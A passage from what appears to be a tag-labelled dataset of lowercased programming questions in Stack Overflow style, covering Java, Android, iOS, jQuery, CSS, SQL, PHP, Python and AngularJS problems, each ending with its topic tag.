deal(); }  // create a new card for the dealer public void hitdealer(){      dealercards [gettotaldealercards()+1] = createcard();     addcardtocreatedcards(dealercards [gettotaldealercards()]);  }  public string getplayercardstostring(){      string cards =   ;     int total = gettotalplayercards();      if (gettotalplayerpoints() &lt;=21){         int counter = 0;          while (counter &lt;= total){              cards += playercards[counter].tostring() +     ;             counter++;         }      return  cards;      }else {         int counter=0;         while (counter &lt;= total){              cards += playercards[counter].tostring() +     ;             counter++;         }         return cards;     } }   public int gettotalplayercards(){     int initialcount = 0;      while (playercards[initialcount] != null){          initialcount++;     }      return initialcount-1; }    public int gettotaldealercards(){     int initialcount = 0;      while (dealercards[initialcount] != null){          initialcount++;     }      return initialcount-1; }  public int gettotalcreatedcards(){     int initialcount = 0;      while (createdcards[initialcount] != null){          initialcount++;     }      return initialcount-1; }   public boolean isbusted(){     boolean busted = false;      if (gettotalplayerpoints()&gt;21){         busted=true;         totaldealerpoints = 0;         totalplayerpoints = 0;         mpbusted.start();         playerpoints.settext( you were busted!! );           for (int i = 0; i &lt; total_cards; i++){             dealercards [i] = null;             playercards [i] = null;             createdcards [i] = null;          }      }     return busted; }   //check for winner public void checkwinner(){      if (gettotaldealerpoints() &lt;= 21 || gettotalplayerpoints() &lt;= 21 &amp;&amp; !isbusted()){                  if (gettotaldealerpoints() &gt; 21 || gettotaldealerpoints() &lt; gettotalplayerpoints()){                  playerpoints.settext( you won!! );                  mpwin.start();               }               else if(gettotaldealerpoints() &gt; gettotalplayerpoints()){                  mpbusted.start();                  playerpoints.settext( you were busted!! );                   for (int i = 0; i &lt; total_cards; i++){                       dealercards [i] = null;                       playercards [i] = null;                       createdcards [i] = null;                   }               }               else{                   mpeven.start();                  playercards1.settext( we have same points! );              }           }     else {          deal ();                 }  } </code></pre>   },android
how can i display content above uisearchbar   i have a uisearchbar that is set in a superclass  which i cannot change. i want to create a uiview  add the search bar to that view  then add a button and text above the search bar. how can i do that. i d then like to set the uiview to the table view s header. below is the code i am using to set the searchbar instance variable.    <pre><code>searchbar = (uisearchbar *)self.tableview.tableheaderview; </code></pre>,ios
problem with picture zoom in  i have a small picture which would zoom in if it s clicked on  the zoom in function work s when i m using 17  laptop screen  but the zoomed in picture dosen t appear completely when i m using a different size screen.when used on mac it s the same problem.    i was just wondering if there was a way to make it look the same in all different size windows.    you can see the site here  if you click on small picture and then click on the bigger pictures on the left you can zoom in  <a href= http://www.stylelusthaves.com/test/straight_leg.php  rel= nofollow noreferrer >link text</a>    thanks for your help.   <pre><code>&lt;div class= small_product  id= small_product1 &gt;         &lt;img id= small_product1-1  src= images  /&gt;         &lt;img id= small_product1-2  src= images  /&gt; &lt;/div&gt;  &lt;div class= big_product  id= big_product1-1 &gt;         &lt;img id= thumbnail1-1  src= #  /&gt;         &lt;img id= full1-1  src= #  /&gt; &lt;/div&gt;        $(function() {         var fullwidth = 950; // width in pixels of full-sized image        var fullheight = 1000; // height in pixels of full-sized image        var thumbnailwidth = 320;  // width in pixels of thumbnail image        var thumbnailheight = 480;  // height in pixels of thumbnail image      // toggle full and thumbnail pictures on click        $( #big_product1-1 ).click(function() {                     $( #thumbnail1-1 ).toggle();                         $( #full1-1 ).toggle();                         });      // do some calculations     $( #big_product1-1 ).mousemove(function(e) {     var mousex=0;var mousey=0;var posx=0;var posy=0;        //detect safari on mac       var browser=navigator.useragent;       if (browser.tolowercase().indexof( macintosh ) &gt; 0) {           mousex = (e.screenx-200) - $(this).attr( offsetleft );           mousey = (e.screeny-200) - $(this).attr( offsettop );        }else  {                                                     mousex = (e.screenx-300) - $(this).attr( offsetleft );            mousey = (e.screeny-300) - $(this).attr( offsettop );        }       posx = (math.round((mousex/thumbnailwidth)*100)/100) * (fullwidth-thumbnailwidth);       posy = (math.round((mousey/thumbnailheight)*100)/100) * (fullheight-thumbnailheight);             $( #full1-1 ).css({                           left :  -  + posx +  px                             top :  -  + posy +  px                            });   }); }); </code></pre>,jquery
css override background without changing or restoring background image  when i try in stylish(chrome)  <code>*{        background : black !important  }</code>  all the background images are overridden     i was wondering if there is a way to restore the background images or keep them intact.    thanks,css
fixed button postition in relative scrollable content  i have a really strange css positioning problem. what i need is a fixed button on the bottom of a centered div which is scrollable. on the sceenshot you will see  how the result should look like. i tried with position:fixed. but than the button will be shown over the complete site. but it should be inside the div with a width of 100%.    i really how you can show me an example!    kind regards and thanks to all supporters.    <a href= http://i.stack.imgur.com/jfhbm.png  rel= nofollow >screenshot</a>,css
how to apply existing global appearance to programmatically created uielements dynamically   i have created a navigation bar programatically and it doesn t have the global tint color and text color set via appearance proxy globally.    all the storyboard created navigation bar has the attributes properly.,ios
implements with different data type  i have 2 class just call it  stuff  and  customer   the classes based on my database table (jdbc) and have abstract class because this 2 classes has same few property(id name)  my abstract class containing(id name  along with setter and getter from id and name variable).     i was creating 2 more class ( executestuff  and  executecustomer ) which has a goal to execute a query for manipulate a data in my database because this situation  executestuff and executecustomer  class should have method insert  update delete and show for manipulate and showing a data from my database  because  executestuff  and  executecustomer  need a same method for process a data from my database   i decided to creating my own interface called  mydata  which is contain 4 mehod (insertdata()  updatedata() deletedata() and showdata()) for class  executestuff  and class  executecustomer .     my problem is  what type data should i use for parameter inside a method in my interface  mydata   for example = <strong>public int insertdata(stuff stuff);</strong> this method will work for  executestuff  but not for  executecustomer  because  executestuff  and  executecustomer  has a different object type.     or a graceful way to solve this problem.,java
do i need to use spatial data   we want to store positions of objects on a map in a database. queries on these positions would include which country or state it is in or get all withing a radius  etc.    do we need to utilize spatial data in the databases  if spatial data would make our app faster  can it work with entity framework     if not  then we ll just use the latitude and longitude.,c#
how to extract inner fields from a yaml file  i have a yaml file of a cricket league ipl and i need to extract the  batsman  name for each ball bowled. for example: to extract the batsman name who batted the 1st ball  batsman name who batted the 2nd ball etc..    here is the yaml file which looks like:   <pre><code>innings:   - 1st innings:       team: kolkata knight riders       deliveries:         - 0.1:             batsman: sc ganguly             bowler: p kumar             extras:               legbyes: 1             non_striker: bb mccullum             runs:               batsman: 0               extras: 1               total: 1         - 0.2:             batsman: bb mccullum             bowler: p kumar             non_striker: sc ganguly             runs:               batsman: 0               extras: 0               total: 0         - 0.3:             batsman: bb mccullum             bowler: p kumar             extras:               wides: 1             non_striker: sc ganguly             runs:               batsman: 0               extras: 1               total: 1 </code></pre>,python
how i can get value $scope.tobaccoproduct_0   $scope.tobaccoproduct_1  how i can get value of tobaccoproduct_0   tobaccoproduct_1  tobaccoproduct_2.     currently i am trying with this code and its not working    <pre><code>for (var count = 0; count &lt; $scope.productcount; count++) {      if ($scope.tobaccoproduct_[count] == true) {         $( #smokereview ).submit();     } else {         alert( plz chcek atleast one value );      } } </code></pre>,javascript
functions defined on a object within a prototype  i m trying to define functions on a object within a prototype like in this example:   <pre><code>function particle = {   this.calculate.x = 0; }  particle.prototype.calculate.calculatex = function() {    //do calculation }  var particle - new particle(); </code></pre>   if i explore particle in the browser console the  calculate  object is visible but without any of the functions defined on it.    what am i missing  is it even possible to define an object prototype in this way     cheers!,javascript
is display: block and display:inline equivalent to display: inline-block   i have an div i am viewing in firebug:    one section has:   <pre><code>display: block; </code></pre>   elsewhere  there is:   <pre><code>display: inline !important; </code></pre>   i would have thought that the <code>inline</code> would have overriden the <code>block</code>  but neither attribute is crossed out by firebug.    i have a text input inside the div that can t be clicked in firefox (works in chrome). if i cross out either display value  then it works. so it seems both are applied.    so is <code>display: block</code> and <code>display: inline</code> combined into <code>display:inline-block</code>,css
unable to reference a library project - android  well  i wanted to create a library project from my existing sources so that it would help me re-use code for the paid app that i have in mind. when i saw the <a href= http://developer.android.com/guide/developing/projects/projects-eclipse.html  rel= nofollow >developer guide</a> on how this was to be done  i thought it was very simple.    just mark the project as a library project and it should be converted to one.    but when i tried referencing one of the base classes in an application  the app force closes with the following exceptions   <blockquote>    02-04 21:50:06.765: e/androidruntime(699): java.lang.noclassdeffounderror: in.my.package.name.r$layout  </blockquote>   let me give you some more info. i have referenced the library project in the application and have also included the manifest entries with fully qualified activity names. i have a baseactivity which has all the menu and re-usable code bits. the point where the above exception occurs is where i am trying to reference the layout file in this baseactivity inside the library project.   <blockquote>    setcontentview(r.layout.apphome);  </blockquote>   what is it that i am missing or doing wrongly     ps: i am just noticing that when i right click on my application and go to the android tab  there is a <strong>red cross</strong> instead of a <strong>green tick</strong> in the place where the library project is referenced. but there are no visible errors on the console or in the code of the project.,android
how do i learn java5 or java6   i m a very experienced java programmer who has spent my entire time working with java 1.4 and earlier.  where can i find a quick reference that will give me everything i need to know about the new features in java5 and later in a quick reference,java
how to create a toggle button inside a column in c#   i want to create this view. but i don t know how to make this kind of button  is it feasible with c#  if so  please help me.    <img src= https://i.stack.imgur.com/akjbh.jpg  alt= http://i.stack.imgur.com/akjbh.jpg >,c#
sql - get values from rows  i have the following table:   <pre><code>id    date      name     id2 1     1/1/2017  demi 2     1/2/2017  demi 3     1/3/2017  demi </code></pre>   i would like the id2 column to display id based on most recent date. the output should be:   <pre><code>id    date      name     id2 1     1/1/2017  demi     2 2     1/2/2017  demi     3 3     1/3/2017  demi </code></pre>   any help would by appreciated.,sql
issue with more multiple functions in one onclick  i have two function and i need to execut in one <code>onclick</code>. the first one is to confirm the submit  if the user press <code>yes</code> it should execute the second function. it is not working with me. any help please.    below my code:   <pre><code>&lt;script&gt;  function checksubmit(){  if(confirm( are you sure you want to submit the data  );)     senddata(); }  &lt;/script&gt; </code></pre>   the button:    <pre><code>&lt;input type= submit  id= send_data   class= send_data  value= send  onclick= checksubmit() /&gt; </code></pre>   thanks for all ^_^,javascript
how to add a scrollbar to jquery tabs  <img src= https://i.stack.imgur.com/ehluw.jpg  alt= alt text >please visit <a href= http://210.94.200.250/ocw/view.php id=1  rel= nofollow noreferrer >my page</a>.    and if you click other tabs  you ll see what my problem is. the tab div will go over the line of my wrapper. i tried to figure out if there s any option to add scroll or not  and there is not!    also tried to set the height value to div of tab. but it didn t work.    what i want is to add a scoll in the tab div. so no matter how long the content of tab is  the wrapper div stays the same.    thanks for your help!,jquery
get the last row from every year using mysql query  i need to get the row where the due_date field has the last month in every year. for eg: if i have 3 entries with due_date field like 2014-5-21 2014-6-21 2014-7-21 i need the last row in year 2014  that will be 2014-7-21  like wise in 2015 and the following years. can someone help me out with this. i tried but nothing worked out   <pre><code>select distinct(year(due_date)) from `vw_mortgage_repayment_schedule_org`  where mortgage_id = arem-1408614735-vlasfaq8vi  and month(due_date) = max(month()) </code></pre>   i need all the last rows for the given mortgage of every year eg- 2014 2015 2016 etc,mysql
how to obtain the default browser without registry lookup in .net   does anybody knows a way how to get the default browser without doing a lookup on the registry using the .net framework,.net
jquery - target specific element with same class  i m new to jq to excuse me if i m not clear enough.    fiddle:   <pre><code>http://jsfiddle.net/twhpa/1/ </code></pre>   on hover both divs slide up  how an i make it to slide up only the div that s been hovered on     html:   <pre><code>&lt;div class= span1 green 1 &gt;&lt;div class= hover &gt;tile title&lt;/div&gt;&lt;a href= #page2  rel= ajax &gt;&lt;/a&gt;&lt;/div&gt; &lt;div class= green 2 &gt;&lt;div class= hover &gt;tile1 title&lt;/div&gt;&lt;/div&gt; </code></pre>   css:   <pre><code>.green {width: 100px; height: 100px; background: red; color: white; position: relative; z-index:100;}       .hover {width: 100px; height: 50px; background: yellow; position: absolute; bottom:0; display:none; z-index:-1;   } </code></pre>   jq:   <pre><code>$(document).ready(function() {      $( .green ).addclass( .hover );      $( .green ).hover(function() {            $( .hover ).stop(true  true).slidedown( 1000 )      }       //mouseout  fadeout the hover class       function() {          $( .hover ).stop(true  true).slideup( 1000 );      }).click(function() {          //add selected class if user clicked on it         $(this).addclass( selected );       }); }); </code></pre>,jquery
incorrect argc value when executing with  *  <pre><code>#include&lt;stdio.h&gt; int main(int argc char* argv[]){         printf( \n argc : %d \n  argc);         return 0; } </code></pre>   output:   <pre><code>[root@aman]# ./a.out *  argc : 8 </code></pre>   i have passed two arguments  so the argc value has to be 2  but it is showing as 8.  i wanted to store the * in a array and compare the inputted  *  string.    i was writing a tool to remove all the entries in the list. hence i need to verify the * from the  ./a.out *  whether its inputted . if inputted i need to do actions corresponding to it.is there a way to use as ./a.out * and take the * the user has inputted.,c
table with sort android  i need to create table  some like excel and i want to sort elements by headers. any ideas how can i do that  use table layout or something else  maybe is some librery when i can find this component,android
how to make html ignore code that is part of text   i need to include some codes in my html document    i ve tried <code>&lt;pre&gt;</code> tag  but that didn t help.    how do i get this code into a document like text     thanks,html
error when merging three tables  i m having an error   object reference not set to an instance of an object.     <pre><code> // define the ado.net objects.         sqlconnection con = new sqlconnection(connectionstring);         string selectsql =  select * from tbl_lecturer_project ;         sqlcommand cmd = new sqlcommand(selectsql  con);         sqldataadapter adapter = new sqldataadapter(cmd);         dataset dspubs = new dataset();          // try to open database and read information.         try         {             con.open();             adapter.fill(dspubs   tbl_lecturer_project );              // this command is still linked to the data adapter.             cmd.commandtext =  select * from tbl_student_project_choice ;             adapter.fill(dspubs   tbl_student_project_choice );              cmd.commandtext =  select * from tbl_team ;             adapter.fill(dspubs   tbl_team );              datarelation scoicelec = new datarelation( scoicelec    dspubs.tables[ tbl_lecturer_project ].columns[ lecturerprojectid ]  dspubs.tables[ student_project_choice ].columns[ choiceprojectid ]);             datarelation schoicenteam = new datarelation( schoicenteam  dspubs.tables[ student_project_choice ].columns[ choicegroupid ]  dspubs.tables[ tbl_team ].columns[ teamid ]); </code></pre>   please help. i want to retrieve data from all 3 tables.,c#
asp.net with sql db sample project to download  in order to test an analytics tool  i need to come up with a .net web app  one that preferably uses a db instance  and deploy it. i have sql server 2014 express and vs 2013 express for web installed on my machine.    i haven t developed in many years so i need a small app that i can download and easily run  not looking to learn how to code it. can someone point me to a project that i can download for this purpose  i m having a hard time finding one.    thanks  m.,asp.net
roundprogress.js always start from zero not from old value  i need to set the progress always start from <strong>zero</strong> not from <strong>old value</strong>. i tried to change the code in <code>roundprogress.js</code> but still nothing happen.     my current result:    <a href= https://i.stack.imgur.com/ba4vs.gif  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ba4vs.gif  alt= gif image start from old value ></a>   <hr>   <em>roundprogress.js:</em>   <pre><code>angular.module( angular-svg-round-progressbar ).directive( roundprogress   [ $window    roundprogressservice    roundprogressconfig   function($window  service  roundprogressconfig){     var base = {         restrict:  ea           replace: true          transclude: true          scope: {             current:         =               max:             =               semi:            =               rounded:         =               clockwise:       =               responsive:      =               onrender:        =               radius:          @               color:           @               bgcolor:         @               stroke:          @               duration:        @               animation:       @               offset:          @               animationdelay:  @          }     };      if(!service.issupported){         return angular.extend(base  {             // placeholder element to keep the structure             template:  &lt;div class= round-progress  ng-transclude&gt;&lt;/div&gt;          });     }      return angular.extend(base  {         link: function(scope  element  attrs){             var isnested    = !element.hasclass( round-progress-wrapper );             var svg         = isnested   element : element.find( svg ).eq(0);             var ring        = svg.find( path ).eq(0);             var background  = svg.find( circle ).eq(0);             var options     = angular.copy(roundprogressconfig);             var lastanimationid = 0;             var lasttimeoutid;             var parentchangedlistener;              scope.$$getroundprogressoptions = function(){                 return options;             };              var rendercircle = function(){                 var issemicircle     = options.semi;                 var responsive       = options.responsive;                 var radius           = +options.radius || 0;                 var stroke           = +options.stroke;                 var diameter         = radius*2;                 var backgroundsize   = radius - (stroke/2) - service.getoffset(scope  options);                  svg.css({                     top:          0                      left:         0                      position:     responsive    absolute  :  static                       width:        responsive    100%  : (diameter +  px )                      height:       responsive    100%  : (issemicircle   radius : diameter) +  px                       overflow:      hidden  // on some browsers the background overflows  if in semicircle mode                 });                  // when nested  the element shouldn t define its own viewbox                 if(!isnested){                     // note that we can t use .attr  because if jquery is loaded                      // it lowercases all attributes and viewbox is case-sensitive                     svg[0].setattribute( viewbox    0 0   + diameter +     + (issemicircle   radius : diameter));                 }                  element.css({                     width:           responsive    100%  :  auto                       position:         relative                       paddingbottom:   responsive   (issemicircle    50%  :  100% ) : 0                 });                  ring.css({                     stroke:          service.resolvecolor(options.color)                      strokewidth:     stroke                      strokelinecap:   options.rounded    round :  butt                  });                  if(issemicircle){                     ring.attr( transform   options.clockwise    translate(0    + diameter +  ) rotate(-90)  :  translate(  + diameter +     + diameter + ) rotate(90) scale(-1  1) );                 }else{                     ring.attr( transform   options.clockwise      :  scale(-1  1) translate(  + (-diameter) +   0) );                 }                  background.attr({                     cx:           radius                      cy:           radius                      r:            backgroundsize &gt;= 0   backgroundsize : 0                 }).css({                     stroke:       service.resolvecolor(options.bgcolor)                      strokewidth:  stroke                 });             };              var renderstate = function(newvalue  oldvalue  preventanimationoverride){                 oldvalue = 0;                 var max                 = service.tonumber(options.max || 0);                 var end                 = newvalue &gt; 0   $window.math.min(newvalue  max) : 0;                 var start               = (oldvalue === end || oldvalue &lt; 0)   0 : (oldvalue || 0); // fixes the initial animation                 var changeinvalue       = end - start;                  var easinganimation     = service.animations[options.animation];                 var duration            = +options.duration || 0;                 var preventanimation    = preventanimationoverride || (newvalue &gt; max &amp;&amp; oldvalue &gt; max) || (newvalue &lt; 0 &amp;&amp; oldvalue &lt; 0) || duration &lt; 25;                  var radius              = service.tonumber(options.radius);                 var circlesize          = radius - (options.stroke/2) - service.getoffset(scope  options);                 var issemicircle        = options.semi;                  svg.attr({                      aria-valuemax : max                       aria-valuenow : end                 });                  var doanimation = function(){                     // stops some expensive animating if the value is above the max or under 0                     if(preventanimation){                         service.updatestate(end  max  circlesize  ring  radius  issemicircle);                          if(options.onrender){                             options.onrender(end  options  element);                         }                     }else{                         var starttime = service.gettimestamp();                         var id = ++lastanimationid;                          $window.requestanimationframe(function animation(){                             var currenttime = $window.math.min(service.gettimestamp() - starttime  duration);                             var animateto = easinganimation(currenttime  start  changeinvalue  duration);                              service.updatestate(animateto  max  circlesize  ring  radius  issemicircle);                              if(options.onrender){                                 options.onrender(animateto  options  element);                             }                              if(id === lastanimationid &amp;&amp; currenttime &lt; duration){                                 $window.requestanimationframe(animation);                             }                         });                     }                 };                  if(options.animationdelay &gt; 0){                     $window.cleartimeout(lasttimeoutid);                     $window.settimeout(doanimation  options.animationdelay);                 }else{                     doanimation();                 }             };              var keys = object.keys(base.scope).filter(function(key){                 return optionisspecified(key) &amp;&amp; key !==  current ;             });              // properties that are used only for presentation             scope.$watchgroup(keys  function(newvalue){                 for(var i = 0; i &lt; newvalue.length; i++){                     if(typeof newvalue[i] !==  undefined ){                         options[keys[i]] = newvalue[i];                     }                 }                  rendercircle();                 scope.$broadcast( $parentoffsetchanged );                  // it doesn t have to listen for changes on the parent unless it inherits                 if(options.offset ===  inherit  &amp;&amp; !parentchangedlistener){                     parentchangedlistener = scope.$on( $parentoffsetchanged   function(){                         renderstate(scope.current  scope.current  true);                         rendercircle();                     });                 }else if(options.offset !==  inherit  &amp;&amp; parentchangedlistener){                     parentchangedlistener();                 }             });              // properties that are used during animation. some of these overlap with             // the ones that are used for presentation             scope.$watchgroup([                  current                    max                    radius                    stroke                    semi                    offset              ].filter(optionisspecified)  function(newvalue  oldvalue){                 renderstate(service.tonumber(newvalue[0])  service.tonumber(oldvalue[0]));             });              function optionisspecified(name) {                 return attrs.hasownproperty(name);             }         }          template: function(element){             var parent = element.parent();             var directivename =  round-progress ;             var template = [                  &lt;svg class=  + directivename +   xmlns= http://www.w3.org/2000/svg  role= progressbar  aria-valuemin= 0 &gt;                        &lt;circle fill= none /&gt;                        &lt;path fill= none /&gt;                        &lt;g ng-transclude&gt;&lt;/g&gt;                    &lt;/svg&gt;              ];              while(                 parent.length &amp;&amp;                 parent[0].nodename.tolowercase() !== directivename &amp;&amp;                 typeof parent.attr(directivename) ===  undefined              ){                 parent = parent.parent();             }              if(!parent || !parent.length){                 template.unshift( &lt;div class= round-progress-wrapper &gt; );                 template.push( &lt;/div&gt; );             }              return template.join( \n );         }     }); }]); </code></pre>   for your infomration  i followed this <a href= https://github.com/imranhamzah/angular2-circle-progress  rel= nofollow noreferrer >github</a>.,angularjs
calculate total jquery  i have a question i can correctly added to the total price take into account 3 types of goods. <br> each has input with the number of goods. <br> when mutations both count the total price becomes irregular. <br> how can i do to correct total price becomes  <a href= http://jsfiddle.net/zk3gfb4w/  rel= nofollow >demo</a> <br> sorry for my english  i hope you will realize what i mean   <pre><code>$( .checkbox ).change(function () {     var item = $(this).parent();     if ( $(this).is( :checked ) ) {         addprice(item);     } else {         removeprice(item);     } });  function addprice(item) {     var price = $(item).find( .price ).text().replace( .     );     var totalprice = $( .total-price ).text().replace( .     );     var addtoprice = (parsefloat(totalprice) + parsefloat(price)).tostring().replace(/\b( =(\d{3})+( !\d))/g   . );      $( .total-price ).text(addtoprice); }  function removeprice(item) {     var price = $(item).find( .price ).text().replace( .     );     var totalprice = $( .total-price ).text().replace( .     );     var addtoprice = (parsefloat(totalprice) - parsefloat(price)).tostring().replace(/\b( =(\d{3})+( !\d))/g   . );      $( .total-price ).text(addtoprice); }  $(document).on( input    .quniti  function(){     var item = $(this).parent();      var quniti = $(item).find( .col ).val();     var totalpriceold = $( .total-price ).text();      var addprice = (parsefloat(quniti) * parsefloat($(this).val() || 0));     var addtotalprice = (parsefloat(totalpriceold) + parsefloat(addprice));      $(item).find( label ).text(addprice.tostring().replace(/\b( =(\d{3})+( !\d))/g   . ));      if ($(item).find( input[type= checkbox ] ).is( :checked ) ) {         $( .total-price ).text( addtotalprice.tostring().replace(/\b( =(\d{3})+( !\d))/g   . ) );     } }); </code></pre>,jquery
mysql how to use multiple operator in one column  i am having a problem right now in mysql. i m trying to select a records without the subject called  work related  and  business  but the result is not right. here s my syntax. please help. thanks   <pre><code>select distinct * from tbl_questions where function= controlling the operation  and subject &lt;&gt;  work related  and subject &lt;&gt;  business  and type &lt;&gt;  engine  order by rand() limit 20 </code></pre>,mysql
#1064 - you have an error in your sql syntax;  i have been trying to create the following table on mysql 5.6    <pre><code>create table customers  (  id integer not null auto_increment   cust_first_name varchar (30) not null   cust_last_name varchar (30) not null   cust_address varchar (30)   cust_dob date   cust_anniversary date   cust_phone1 integer(10) not null   cust_phone2 integer(10)   cust_phone3 integer(10)   cust_fax integer(10)   cust_email varchar   cust_pw varchar(10) not null   cust_suburb varchar(20)   cust_postcode varchar(4)   cust_state varchar (3)   cust_gender char(1) not null   cust_type varchar(5) not null    companies_id integer not null   employees_id integer not null   primary key (id)   constraint com_cust_fk foreign key (companies_id) references companies(id)   constraint emp_cust_fk foreign key (employees_id) references employees(id)   check (cust_gender in( m   f ))   check (cust_type in(‘gold’ ’silver’ ’bronze’)  ); </code></pre>   and i get the following error: <code>#1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near   cust_password varchar(10) not null  cust_suburb varchar(20)  cust_postcod  at line 13</code>    how can i overcome this,mysql
cannot get the addition to output  everything is good  but i just cant get the addition to show up  when i run the program it is blank when it comes to the addition of the matrixes part. thanks in advance. btw does anyone know how i would make this display right column justified    <pre><code>public static void displaymatrixes(int[][] matrix1  int[][] matrix2  int[][] resultsmatrix) {      system.out.println( this is how i want it to output );         for (int i = 0; i &lt; 3; i++) {             for (int j = 0; j &lt; 3; j++) {                  system.out.print(matrix1[i][j] +    );              }                   system.out.print( +  );                   for (int j = 0; j &lt; 3; j++) {                     system.out.print(matrix2[i][j]+    );             }             system.out.print( =  );             for (int j = 0; j &lt; 3; j++) {                 system.out.print(resultsmatrix[i][j]+    );             }                  system.out.println();         }          ) </code></pre>   this is my code   <pre><code>import java.util.scanner; public class matrixadd {     public static void main(string arg[])   {        scanner input = new scanner(system.in);        int a[][]= new int[3][3];        int b[][] = new int[3][3];         int row  column;      system.out.println( \nenter matrix a:  \n );      for (int i = 0 ; i &lt; 3 ; i++){         for (int j = 0; j&lt;3 ; j++){                 a[i][j] = input.nextint();             }        }           system.out.println( \nenter matrix b: \n );          for (int i = 0; i &lt; 3; i++){                 for (int j = 0; j &lt; 3; j++){                     b[i][j] = input.nextint();                 }        }         system.out.println( \nmatrix a + matrix b = matrix c: \n );          int[][] resultingmatrix = addmatrix(a  b);      }        public static int[][] addmatrix(int[][] a  int[][] b){          int[][] result = new int[a.length][a[0].length];          for (int i = 0; i &lt; result.length; i++) {             for (int j = 0; j &lt; result[0].length; j++){             result[i][j]=a[i][j] + b[i][j];             }         }          for (int i = 0; i &lt; a.length; i++) {             char plus =  + ;             for (int j = 0; j &lt; a[0].length; j++) {                 system.out.print(     + a[i][j]);             }              if (i == a.length / 2)                 system.out.print(     + plus +     );             else {                 system.out.print(    );             }              for (int j = 0; j &lt; b[0].length; j++) {                 system.out.print(     + b[i][j]);             }              if (i == a.length / 2)                 system.out.print(   =   );             else {                 system.out.print(    );             }              for (int j = 0; j &lt; result[0].length; j++) {                 system.out.print(     +      + result[i][j]);             }             system.out.println();         }     return result;     }//end of add matrices  }//end of class </code></pre>,java
how can i use the value of variables defined inside a php class in another page  i m fairly new using php classes  i have done some php using the procedural method for a while but never fully done proper object oriented programming on php. which brings me to my question:    i have one file called classes.php where i intend to define all my php classes. inside that file i have created a class as follows:   <pre><code>require_once( connection.php );  class user     {          public function getuserinfo() {             $userinfo = mysqli_query($con  select * from users where username=  . $_session[ username ] .   );             while($row = mysqli_fetch_assoc($userinfo)) {                  // user details:                 $userid = $row[ id ];                 $username = $row[ username ];                 $userfirstname = $row[ first_name ];                 $userlastname = $row[ last_name ];                 $useremail = $row[ email ];                 $useraddress1 = $row[ address_line_1 ];                 $useraddress2 = $row[ address_line_2 ];                 $userpostcode = $row[ postcode ];                 $userphone = $row[ phone ];                 $usermobile = $row[ mobile ];                 $usercreated = $row[ created ];                 $usermodified = $row[ modified ];                 $useraccess = $row[ access_level ];              }         }      } // end of user </code></pre>   now i want to use the values of the variables defined in that class in another page. but how can i access those values     so far i m trying this (unsuccessfully):   <pre><code>&lt; php include  php_includes/classes.php ; $user = new user();  &gt;  &lt;div class= somediv &gt;     &lt; php echo $user-&gt;getuserinfo($username)  &gt; &lt;/div&gt; </code></pre>   i have also tried:   <pre><code>&lt; php     include  php_includes/classes.php ;     $user = new user();      &gt;      &lt;div class= somediv &gt;         &lt; php echo $user-&gt;$username  &gt;     &lt;/div&gt; </code></pre>   is there any way to echo those variables in another page so i can use the user information in  for example  profile pages     thanks in advance.,php
set my time in fragaria daterangepicker  am working on angularjs. i use a daterangepicker which is built with directive. how do i set my time into the date range picker     date range picker reference <a href= https://github.com/fragaria/angular-daterangepicker  rel= nofollow >https://github.com/fragaria/angular-daterangepicker</a>    i tried constructing the date format yyyy-mm-ddthh:mm:ss.sssz   but still i get nan when i display the date model to date-range-picker   <pre><code>&lt;input       date-range-picker       type= text        ng-model= scheduleddate        options= {timepicker: true  timepickerincrement:30 locale: {format:  dd/mm/yyyy hh:mm:ss } separator:  - }  /&gt;   $scope.scheduleddate = {startdate:new date(mydatetime) enddate:new date(mydatetime)} </code></pre>   am unable to initialize startdate and enddate,angularjs
enhanced usage of question mark in java  <code>last = cur = cur == null   head : cur.link;</code>    i am trying to understand this using if and else statement. but i am stuck on this one. can anyone help this out,java
format date output difference php  i am having problem with my date format which is the value get from sql databases and pass to the form for the user and in return when user set it back to store into databases the format is gone difference.   <pre><code>$sql = mysql_query( select * from $membertable where id= 11  limit 1 ); //checking from sql $sqlcheck = mysql_fetch_assoc($sql); //pass each value  $dob = strftime( %y-%b-%d   strtotime($sqlcheck[ dob ])); //format from databases 2000-10-30 into 2000-october-30  $dob = explode( -   $dob); // break into day month year for form to fill in  $dob = $dob[0]. - .$dob[1]. - .$dob[2]; // after user fill in combine together for user to input back to databases  $dob = strftime( %y-%m-%d   strtotime($dob)); //formatting back into databases format  2000-october-30 into 2000-10-30 //the main problem here is the output is  2000-10-02  </code></pre>   i am wondering why the day value pass becoming 02 instead of 30   is that something wrong with the format code i am using   please help.,php
finding element within lists and output the sublist item  i am having a problem containing searching a specific value within a sublist and output only the desired sublist within my list.    the code will help understanding my problem:   <pre><code>list1 = [[ 12     id1     1 ] [ 14     id1     1 ] [ 16     id1     1 ]] list2 = [[ 4     id8     1 ] [ 6     id8     1 ] [ 12     id8     1 ]]  list1_first = [int(item[0]) for item in list1] list2_first = [int(item[0]) for item in list2]  compare = set(list1_first) &amp; set(list2_first)  print(list1_first) # outputs: [12  14  16] print(list2_first) # outputs: [4  6  12] print(compare) # outputs: {12}  # find the compared value within list 1 and list 2 largelist = list1 + list2 print(largelist) # outputs: [[ 12     id1     1 ]  [ 14     id1     1 ]  [ 16     id1     1 ]  [ 4     id8     1 ]  [ 6     id8     1 ]  [ 12     id8     1 ]]  for item in largelist:     if compare in list1:         print( found:  item) # does not print anything         # wanted output: found: [ 12     id1     1 ]  found [ 12     id8     1 ] </code></pre>   my code does not print anything and i think that is based on the fact that the first number in each list is not been annotated as an integer  do you know why this not works and how could i fix it,python
swipe gesture recognizers not triggering method call  i m adding a couple of swipe gesture recognizers in viewdidload however the specified selectors are not being called:   <pre><code>uiswipegesturerecognizer *swipegestureright = [[uiswipegesturerecognizer alloc] initwithtarget:self action:@selector(handlerightswipe:)]; swipegestureright.numberoftouchesrequired = 1; swipegestureright.direction = (uiswipegesturerecognizerdirectionright); [self.scrollview addgesturerecognizer:swipegestureright];  uiswipegesturerecognizer *swipegestureleft = [[uiswipegesturerecognizer alloc] initwithtarget:self action:@selector(handleleftswipe:)]; swipegestureleft.numberoftouchesrequired = 1; swipegestureleft.direction = (uiswipegesturerecognizerdirectionleft); [self.scrollview addgesturerecognizer:swipegestureleft]; </code></pre>   if i change the selectors to @selector(crashatruntimewithundefinedmethod:) then nothing happens. the view controller is inheriting from uigesturerecognizerdelegate. setting the delegate of the gesture recognizers is not done in the above code but added it and setting it to self doesn t make any difference.    the scrollview is child view of the controller s main view  but i tried changing the target to the main view and that makes no difference either.,ios
